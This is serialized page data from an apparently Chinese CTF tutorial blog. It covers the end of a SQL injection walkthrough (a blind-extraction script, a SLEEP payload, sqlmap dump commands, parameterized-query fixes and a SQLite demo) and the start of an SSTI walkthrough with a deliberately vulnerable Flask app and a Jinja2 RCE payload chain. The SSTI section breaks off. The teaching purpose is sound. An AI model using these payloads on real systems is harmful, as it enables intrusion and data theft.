result)\n",[26,5871,5872,5877,5882,5886,5891,5896,5900,5905,5910,5915,5920,5925,5930,5935,5940,5945,5950,5955,5960,5965,5970,5975,5980,5985,5990,5995,5999],{"__ignoreMap":36},[40,5873,5874],{"class":42,"line":43},[40,5875,5876],{},"import requests, string\n",[40,5878,5879],{"class":42,"line":49},[40,5880,5881],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[40,5883,5884],{"class":42,"line":55},[40,5885,59],{"emptyLinePlaceholder":58},[40,5887,5888],{"class":42,"line":62},[40,5889,5890],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[40,5892,5893],{"class":42,"line":68},[40,5894,5895],{},"result = \"\"          # 保存已确认的 flag 片段\n",[40,5897,5898],{"class":42,"line":74},[40,5899,59],{"emptyLinePlaceholder":58},[40,5901,5902],{"class":42,"line":80},[40,5903,5904],{},"for pos in range(1, 50):\n",[40,5906,5907],{"class":42,"line":86},[40,5908,5909],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[40,5911,5912],{"class":42,"line":92},[40,5913,5914],{},"    found = False\n",[40,5916,5917],{"class":42,"line":98},[40,5918,5919],{},"    for ch in string.printable:\n",[40,5921,5922],{"class":42,"line":104},[40,5923,5924],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[40,5926,5927],{"class":42,"line":110},[40,5928,5929],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[40,5931,5932],{"class":42,"line":116},[40,5933,5934],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[40,5936,5937],{"class":42,"line":122},[40,5938,5939],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[40,5941,5942],{"class":42,"line":128},[40,5943,5944],{},"        r = requests.get(url, params={\"id\": payload})\n",[40,5946,5947],{"class":42,"line":134},[40,5948,5949],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[40,5951,5952],{"class":42,"line":140},[40,5953,5954],{},"        # r.text：响应正文。\n",[40,5956,5957],{"class":42,"line":146},[40,5958,5959],{},"        if \"hello\" in r.text:\n",[40,5961,5962],{"class":42,"line":152},[40,5963,5964],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[40,5966,5967],{"class":42,"line":158},[40,5968,5969],{},"            result += ch\n",[40,5971,5972],{"class":42,"line":164},[40,5973,5974],{},"            print(result)\n",[40,5976,5977],{"class":42,"line":170},[40,5978,5979],{},"            found = True\n",[40,5981,5982],{"class":42,"line":176},[40,5983,5984],{},"            break\n",[40,5986,5987],{"class":42,"line":182},[40,5988,5989],{},"    if not found or result.endswith('}'):\n",[40,5991,5992],{"class":42,"line":187},[40,5993,5994],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[40,5996,5997],{"class":42,"line":193},[40,5998,3646],{},[40,6000,6001],{"class":42,"line":199},[40,6002,6003],{},"print(\"flag:\", result)\n",[15,6005,6006],{},"运行过程输出（节选）：",[31,6008,6011],{"className":6009,"code":6010,"language":380,"meta":36},[378],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[26,6012,6010],{"__ignoreMap":36},[355,6014,6016],{"id":6015},"_52-时间盲注","5.2 时间盲注",[15,6018,6019,6020,6023],{},"页面连\"正常/异常\"都无法区分时，用 ",[26,6021,6022],{},"SLEEP"," 制造时间差：",[31,6025,6027],{"className":267,"code":6026,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[26,6028,6029],{"__ignoreMap":36},[40,6030,6031,6033,6035,6038],{"class":42,"line":43},[40,6032,5437],{"class":276},[40,6034,5440],{"class":505},[40,6036,6037],{"class":284},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[40,6039,5446],{"class":505},[15,6041,6042],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[10,6044,6046],{"id":6045},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[15,6048,6049,6051],{},[333,6050,335],{},"：手工确认后，用工具批量完成拖库，效率更高。",[355,6053,6055],{"id":6054},"命令-1检测","命令 1：检测",[15,6057,6058,6060],{},[333,6059,341],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[31,6062,6064],{"className":267,"code":6063,"language":269,"meta":36,"style":36},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[26,6065,6066],{"__ignoreMap":36},[40,6067,6068,6071,6074,6076,6078,6081],{"class":42,"line":43},[40,6069,6070],{"class":276},"sqlmap",[40,6072,6073],{"class":280}," -u",[40,6075,5440],{"class":505},[40,6077,5443],{"class":284},[40,6079,6080],{"class":505},"\"",[40,6082,6083],{"class":280}," --batch\n",[15,6085,515],{},[31,6087,6090],{"className":6088,"code":6089,"language":380,"meta":36},[378],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[26,6091,6089],{"__ignoreMap":36},[355,6093,6095],{"id":6094},"命令-2列库","命令 2：列库",[31,6097,6099],{"className":267,"code":6098,"language":269,"meta":36,"style":36},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[26,6100,6101],{"__ignoreMap":36},[40,6102,6103,6105,6107,6109,6111,6113],{"class":42,"line":43},[40,6104,6070],{"class":276},[40,6106,6073],{"class":280},[40,6108,5440],{"class":505},[40,6110,5443],{"class":284},[40,6112,6080],{"class":505},[40,6114,6115],{"class":280}," --dbs\n",[15,6117,6118,6119,307],{},"预期输出：数据库列表，含 ",[26,6120,1119],{},[355,6122,6124],{"id":6123},"命令-3导出数据","命令 3：导出数据",[31,6126,6128],{"className":267,"code":6127,"language":269,"meta":36,"style":36},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[26,6129,6130],{"__ignoreMap":36},[40,6131,6132,6134,6136,6138,6140,6142,6145,6148,6151,6154],{"class":42,"line":43},[40,6133,6070],{"class":276},[40,6135,6073],{"class":280},[40,6137,5440],{"class":505},[40,6139,5443],{"class":284},[40,6141,6080],{"class":505},[40,6143,6144],{"class":280}," -D",[40,6146,6147],{"class":284}," ctf",[40,6149,6150],{"class":280}," -T",[40,6152,6153],{"class":284}," flag",[40,6155,6156],{"class":280}," --dump\n",[15,6158,423,6159,6161,6162,307],{},[26,6160,3281],{}," 表内容 ",[26,6163,5790],{},[10,6165,6167],{"id":6166},"七核心步骤-5防御","七、核心步骤 5：防御",[31,6169,6171],{"className":5204,"code":6170,"language":5206,"meta":36,"style":36},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[26,6172,6173,6178,6183,6188,6192,6197,6202,6207],{"__ignoreMap":36},[40,6174,6175],{"class":42,"line":43},[40,6176,6177],{},"// PDO 参数化\n",[40,6179,6180],{"class":42,"line":49},[40,6181,6182],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[40,6184,6185],{"class":42,"line":55},[40,6186,6187],{},"$stmt->execute([$_GET['id']]);\n",[40,6189,6190],{"class":42,"line":62},[40,6191,59],{"emptyLinePlaceholder":58},[40,6193,6194],{"class":42,"line":68},[40,6195,6196],{},"// mysqli 参数化\n",[40,6198,6199],{"class":42,"line":74},[40,6200,6201],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[40,6203,6204],{"class":42,"line":80},[40,6205,6206],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[40,6208,6209],{"class":42,"line":86},[40,6210,6211],{},"$stmt->execute();\n",[31,6213,6215],{"className":841,"code":6214,"language":843,"meta":36,"style":36},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[26,6216,6217],{"__ignoreMap":36},[40,6218,6219],{"class":42,"line":43},[40,6220,6214],{},[15,6222,6223,6224,6227],{},"参数化后，输入 ",[26,6225,6226],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[10,6229,6231],{"id":6230},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[15,6233,6234,6236],{},[333,6235,335],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[15,6238,6239,6240,29],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[26,6241,6242],{},"sim.py",[31,6244,6246],{"className":841,"code":6245,"language":843,"meta":36,"style":36},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[26,6247,6248,6253,6258,6262,6267,6272,6277,6282,6286,6291,6295,6300,6305,6309,6314,6319,6324,6329,6334,6339,6344,6349,6354,6359,6364,6369,6373,6378,6383,6388,6393,6398,6403,6408],{"__ignoreMap":36},[40,6249,6250],{"class":42,"line":43},[40,6251,6252],{},"import sqlite3\n",[40,6254,6255],{"class":42,"line":49},[40,6256,6257],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[40,6259,6260],{"class":42,"line":55},[40,6261,59],{"emptyLinePlaceholder":58},[40,6263,6264],{"class":42,"line":62},[40,6265,6266],{},"conn = sqlite3.connect(':memory:')\n",[40,6268,6269],{"class":42,"line":68},[40,6270,6271],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[40,6273,6274],{"class":42,"line":74},[40,6275,6276],{},"conn.executescript('''\n",[40,6278,6279],{"class":42,"line":80},[40,6280,6281],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[40,6283,6284],{"class":42,"line":86},[40,6285,5325],{},[40,6287,6288],{"class":42,"line":92},[40,6289,6290],{},"CREATE TABLE flag (flag TEXT);\n",[40,6292,6293],{"class":42,"line":98},[40,6294,5335],{},[40,6296,6297],{"class":42,"line":104},[40,6298,6299],{},"''')\n",[40,6301,6302],{"class":42,"line":110},[40,6303,6304],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[40,6306,6307],{"class":42,"line":116},[40,6308,59],{"emptyLinePlaceholder":58},[40,6310,6311],{"class":42,"line":122},[40,6312,6313],{},"def query(id_):\n",[40,6315,6316],{"class":42,"line":128},[40,6317,6318],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[40,6320,6321],{"class":42,"line":134},[40,6322,6323],{},"    cur = conn.cursor()\n",[40,6325,6326],{"class":42,"line":140},[40,6327,6328],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[40,6330,6331],{"class":42,"line":146},[40,6332,6333],{},"    try:\n",[40,6335,6336],{"class":42,"line":152},[40,6337,6338],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[40,6340,6341],{"class":42,"line":158},[40,6342,6343],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[40,6345,6346],{"class":42,"line":164},[40,6347,6348],{},"        return str(cur.fetchall())\n",[40,6350,6351],{"class":42,"line":170},[40,6352,6353],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[40,6355,6356],{"class":42,"line":176},[40,6357,6358],{},"    except Exception as e:\n",[40,6360,6361],{"class":42,"line":182},[40,6362,6363],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[40,6365,6366],{"class":42,"line":187},[40,6367,6368],{},"        return \"ERROR: \" + str(e)\n",[40,6370,6371],{"class":42,"line":193},[40,6372,59],{"emptyLinePlaceholder":58},[40,6374,6375],{"class":42,"line":199},[40,6376,6377],{},"print(query(\"1\"))\n",[40,6379,6380],{"class":42,"line":205},[40,6381,6382],{},"print(query(\"1'\"))\n",[40,6384,6385],{"class":42,"line":211},[40,6386,6387],{},"print(query(\"1 AND 1=1\"))\n",[40,6389,6390],{"class":42,"line":217},[40,6391,6392],{},"print(query(\"1 AND 1=2\"))\n",[40,6394,6395],{"class":42,"line":223},[40,6396,6397],{},"print(query(\"1 ORDER BY 3\"))\n",[40,6399,6400],{"class":42,"line":229},[40,6401,6402],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[40,6404,6405],{"class":42,"line":235},[40,6406,6407],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[40,6409,6410],{"class":42,"line":241},[40,6411,6412],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[15,6414,907],{},[31,6416,6418],{"className":267,"code":6417,"language":269,"meta":36,"style":36},"python3 sim.py\n",[26,6419,6420],{"__ignoreMap":36},[40,6421,6422,6424],{"class":42,"line":43},[40,6423,917],{"class":276},[40,6425,6426],{"class":284}," sim.py\n",[15,6428,923],{},[31,6430,6433],{"className":6431,"code":6432,"language":380,"meta":36},[378],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[26,6434,6432],{"__ignoreMap":36},[15,6436,6437],{},"逐行对应：",[955,6439,6440,6453],{},[958,6441,6442],{},[961,6443,6444,6447,6450],{},[964,6445,6446],{},"输入",[964,6448,6449],{},"输出",[964,6451,6452],{},"结论",[974,6454,6455,6468,6481,6493,6506,6519,6534,6547],{},[961,6456,6457,6462,6465],{},[979,6458,6459],{},[26,6460,6461],{},"1",[979,6463,6464],{},"正常记录",[979,6466,6467],{},"基线",[961,6469,6470,6475,6478],{},[979,6471,6472],{},[26,6473,6474],{},"1'",[979,6476,6477],{},"语法错误",[979,6479,6480],{},"注入点存在",[961,6482,6483,6488,6490],{},[979,6484,6485],{},[26,6486,6487],{},"1 AND 1=1",[979,6489,6464],{},[979,6491,6492],{},"条件真",[961,6494,6495,6500,6503],{},[979,6496,6497],{},[26,6498,6499],{},"1 AND 1=2",[979,6501,6502],{},"空",[979,6504,6505],{},"条件假",[961,6507,6508,6513,6516],{},[979,6509,6510],{},[26,6511,6512],{},"1 ORDER BY 3",[979,6514,6515],{},"正常",[979,6517,6518],{},"至少 3 列",[961,6520,6521,6526,6531],{},[979,6522,6523],{},[26,6524,6525],{},"-1 UNION SELECT 1,2,3",[979,6527,6528],{},[26,6529,6530],{},"(1, 2, 3)",[979,6532,6533],{},"3 列且回显",[961,6535,6536,6539,6544],{},[979,6537,6538],{},"查 sqlite_master",[979,6540,6541],{},[26,6542,6543],{},"articles,flag",[979,6545,6546],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[961,6548,6549,6552,6556],{},[979,6550,6551],{},"查 flag 表",[979,6553,6554],{},[26,6555,5790],{},[979,6557,6558],{},"拿到 flag",[10,6560,1089],{"id":1088},[15,6562,6563,6564,6567],{},"SQL 注入主线：",[333,6565,6566],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1098,6569,6570],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":36,"searchDepth":49,"depth":49,"links":6572},[6573,6574,6575,6576,6577,6578,6579,6580,6581],{"id":5197,"depth":55,"text":5198},{"id":5249,"depth":55,"text":5250},{"id":5403,"depth":55,"text":5404},{"id":5561,"depth":55,"text":5562},{"id":5799,"depth":55,"text":5800},{"id":6045,"depth":55,"text":6046},{"id":6166,"depth":55,"text":6167},{"id":6230,"depth":55,"text":6231},{"id":1088,"depth":55,"text":1089},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。",{"date":1115,"image":6584,"alt":6585,"tags":6586,"published":58},"/blogs-img/blog5.png","SQL 注入深入实战",[1119,6587,6588,1122],"web","sql注入","/blogs/ctf-web-sql-injection-deep-dive",{"title":5192,"description":6582},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":6594,"title":6595,"body":6596,"description":7642,"extension":1113,"meta":7643,"navigation":58,"ogImage":7644,"path":7648,"seo":7649,"stem":7650,"__hash__":7651},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":7,"value":6597,"toc":7632},[6598,6602,6605,6648,6659,6662,6671,6677,6681,6695,6700,6753,6755,6767,6771,6776,6789,6793,6809,6811,6833,6837,6853,6855,6873,6883,6887,6954,6958,6963,6996,7005,7009,7015,7019,7025,7028,7044,7046,7064,7067,7083,7085,7103,7116,7124,7135,7142,7148,7151,7229,7235,7238,7244,7248,7260,7269,7281,7285,7291,7295,7301,7310,7312,7316,7362,7366,7409,7415,7419,7422,7491,7495,7504,7508,7513,7528,7534,7538,7553,7582,7585,7591,7595,7603,7606,7612,7614,7629],[10,6599,6601],{"id":6600},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[15,6603,6604],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[31,6606,6608],{"className":841,"code":6607,"language":843,"meta":36,"style":36},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n",[26,6609,6610,6615,6619,6624,6628,6633,6638,6643],{"__ignoreMap":36},[40,6611,6612],{"class":42,"line":43},[40,6613,6614],{},"from flask import Flask, render_template\n",[40,6616,6617],{"class":42,"line":49},[40,6618,59],{"emptyLinePlaceholder":58},[40,6620,6621],{"class":42,"line":55},[40,6622,6623],{},"app = Flask(__name__)\n",[40,6625,6626],{"class":42,"line":62},[40,6627,59],{"emptyLinePlaceholder":58},[40,6629,6630],{"class":42,"line":68},[40,6631,6632],{},"@app.route(\"/\")\n",[40,6634,6635],{"class":42,"line":74},[40,6636,6637],{},"def index():\n",[40,6639,6640],{"class":42,"line":80},[40,6641,6642],{},"    name = request.args.get(\"name\", \"world\")\n",[40,6644,6645],{"class":42,"line":86},[40,6646,6647],{},"    return render_template(\"hello.html\", name=name)\n",[15,6649,6650,6651,6654,6655,6658],{},"模板文件 ",[26,6652,6653],{},"hello.html"," 内容是固定的 ",[26,6656,6657],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[15,6660,6661],{},"错误写法是把用户输入拼进模板字符串：",[31,6663,6665],{"className":841,"code":6664,"language":843,"meta":36,"style":36},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[26,6666,6667],{"__ignoreMap":36},[40,6668,6669],{"class":42,"line":43},[40,6670,6664],{},[15,6672,6673,6676],{},[26,6674,6675],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[10,6678,6680],{"id":6679},"二环境搭建","二、环境搭建",[31,6682,6684],{"className":267,"code":6683,"language":269,"meta":36,"style":36},"pip install flask\n",[26,6685,6686],{"__ignoreMap":36},[40,6687,6688,6690,6692],{"class":42,"line":43},[40,6689,3685],{"class":276},[40,6691,645],{"class":284},[40,6693,6694],{"class":284}," flask\n",[15,6696,2426,6697,29],{},[26,6698,6699],{},"app.py",[31,6701,6703],{"className":841,"code":6702,"language":843,"meta":36,"style":36},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[26,6704,6705,6710,6714,6718,6722,6726,6730,6734,6739,6744,6748],{"__ignoreMap":36},[40,6706,6707],{"class":42,"line":43},[40,6708,6709],{},"from flask import Flask, request, render_template_string\n",[40,6711,6712],{"class":42,"line":49},[40,6713,59],{"emptyLinePlaceholder":58},[40,6715,6716],{"class":42,"line":55},[40,6717,6623],{},[40,6719,6720],{"class":42,"line":62},[40,6721,59],{"emptyLinePlaceholder":58},[40,6723,6724],{"class":42,"line":68},[40,6725,6632],{},[40,6727,6728],{"class":42,"line":74},[40,6729,6637],{},[40,6731,6732],{"class":42,"line":80},[40,6733,6642],{},[40,6735,6736],{"class":42,"line":86},[40,6737,6738],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[40,6740,6741],{"class":42,"line":92},[40,6742,6743],{},"    return render_template_string(html, name=name)\n",[40,6745,6746],{"class":42,"line":98},[40,6747,59],{"emptyLinePlaceholder":58},[40,6749,6750],{"class":42,"line":104},[40,6751,6752],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[15,6754,907],{},[31,6756,6758],{"className":267,"code":6757,"language":269,"meta":36,"style":36},"python app.py\n",[26,6759,6760],{"__ignoreMap":36},[40,6761,6762,6764],{"class":42,"line":43},[40,6763,843],{"class":276},[40,6765,6766],{"class":284}," app.py\n",[10,6768,6770],{"id":6769},"三核心步骤-1探测","三、核心步骤 1：探测",[15,6772,6773,6775],{},[333,6774,335],{},"：确认\"用户输入被当作模板代码求值\"。",[15,6777,6778,6780,6781,6784,6785,6788],{},[333,6779,341],{},"：模板引擎会执行 ",[26,6782,6783],{},"{{ 表达式 }}","。传 ",[26,6786,6787],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[355,6790,6792],{"id":6791},"_31-正常请求","3.1 正常请求",[31,6794,6796],{"className":267,"code":6795,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[26,6797,6798],{"__ignoreMap":36},[40,6799,6800,6802,6804,6807],{"class":42,"line":43},[40,6801,5437],{"class":276},[40,6803,5440],{"class":505},[40,6805,6806],{"class":284},"http://127.0.0.1:5000/?name=alice",[40,6808,5446],{"class":505},[15,6810,423],{},[31,6812,6816],{"className":6813,"code":6814,"language":6815,"meta":36,"style":36},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[26,6817,6818],{"__ignoreMap":36},[40,6819,6820,6823,6826,6829,6831],{"class":42,"line":43},[40,6821,6822],{"class":682},"\u003C",[40,6824,6825],{"class":492},"h1",[40,6827,6828],{"class":682},">Hello, alice!\u003C/",[40,6830,6825],{"class":492},[40,6832,1175],{"class":682},[355,6834,6836],{"id":6835},"_32-表达式求值","3.2 表达式求值",[31,6838,6840],{"className":267,"code":6839,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[26,6841,6842],{"__ignoreMap":36},[40,6843,6844,6846,6848,6851],{"class":42,"line":43},[40,6845,5437],{"class":276},[40,6847,5440],{"class":505},[40,6849,6850],{"class":284},"http://127.0.0.1:5000/?name={{7*7}}",[40,6852,5446],{"class":505},[15,6854,423],{},[31,6856,6858],{"className":6813,"code":6857,"language":6815,"meta":36,"style":36},"\u003Ch1>Hello, 49!\u003C/h1>\n",[26,6859,6860],{"__ignoreMap":36},[40,6861,6862,6864,6866,6869,6871],{"class":42,"line":43},[40,6863,6822],{"class":682},[40,6865,6825],{"class":492},[40,6867,6868],{"class":682},">Hello, 49!\u003C/",[40,6870,6825],{"class":492},[40,6872,1175],{"class":682},[15,6874,6875,6878,6879,6882],{},[26,6876,6877],{},"7*7"," 被求值成 ",[26,6880,6881],{},"49","，说明模板表达式生效，SSTI 成立。",[355,6884,6886],{"id":6885},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[955,6888,6889,6902],{},[958,6890,6891],{},[961,6892,6893,6896,6899],{},[964,6894,6895],{},"引擎",[964,6897,6898],{},"语言",[964,6900,6901],{},"探测 payload",[974,6903,6904,6916,6929,6941],{},[961,6905,6906,6909,6912],{},[979,6907,6908],{},"Jinja2 / Twig",[979,6910,6911],{},"Python / PHP",[979,6913,6914],{},[26,6915,6787],{},[961,6917,6918,6921,6924],{},[979,6919,6920],{},"Freemarker",[979,6922,6923],{},"Java",[979,6925,6926],{},[26,6927,6928],{},"${7*7}",[961,6930,6931,6934,6936],{},[979,6932,6933],{},"Velocity",[979,6935,6923],{},[979,6937,6938],{},[26,6939,6940],{},"#set($x=7*7)$x",[961,6942,6943,6946,6949],{},[979,6944,6945],{},"Smarty",[979,6947,6948],{},"PHP",[979,6950,6951],{},[26,6952,6953],{},"{$smarty.version}",[10,6955,6957],{"id":6956},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[15,6959,6960,6962],{},[333,6961,335],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[15,6964,6965,6967,6968,6971,6972,1013,6975,1013,6978,6981,6982,6985,6986,6988,6989,6992,6993,307],{},[333,6966,341],{},"：模板只能访问少量对象（如 ",[26,6969,6970],{},"config","）。Python 对象有 ",[26,6973,6974],{},"__class__",[26,6976,6977],{},"__init__",[26,6979,6980],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[26,6983,6984],{},"os"," 模块。验证方式：先执行 ",[26,6987,5412],{},"，输出 ",[26,6990,6991],{},"uid=..."," 即成功，再换 ",[26,6994,6995],{},"cat /flag",[15,6997,6998,6999,7001,7002,7004],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[26,7000,6970],{}," 对象，沿 Python 内部属性找到 ",[26,7003,6984],{}," 模块。",[355,7006,7008],{"id":7007},"_41-分步理解","4.1 分步理解",[31,7010,7013],{"className":7011,"code":7012,"language":380,"meta":36},[378],"config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n",[26,7014,7012],{"__ignoreMap":36},[355,7016,7018],{"id":7017},"_42-完整-payload","4.2 完整 payload",[31,7020,7023],{"className":7021,"code":7022,"language":380,"meta":36},[378],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[26,7024,7022],{"__ignoreMap":36},[15,7026,7027],{},"用 curl 发送：",[31,7029,7031],{"className":267,"code":7030,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[26,7032,7033],{"__ignoreMap":36},[40,7034,7035,7037,7039,7042],{"class":42,"line":43},[40,7036,5437],{"class":276},[40,7038,5440],{"class":505},[40,7040,7041],{"class":284},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[40,7043,5446],{"class":505},[15,7045,423],{},[31,7047,7049],{"className":6813,"code":7048,"language":6815,"meta":36,"style":36},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[26,7050,7051],{"__ignoreMap":36},[40,7052,7053,7055,7057,7060,7062],{"class":42,"line":43},[40,7054,6822],{"class":682},[40,7056,6825],{"class":492},[40,7058,7059],{"class":682},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[40,7061,6825],{"class":492},[40,7063,1175],{"class":682},[15,7065,7066],{},"命令执行成功。读 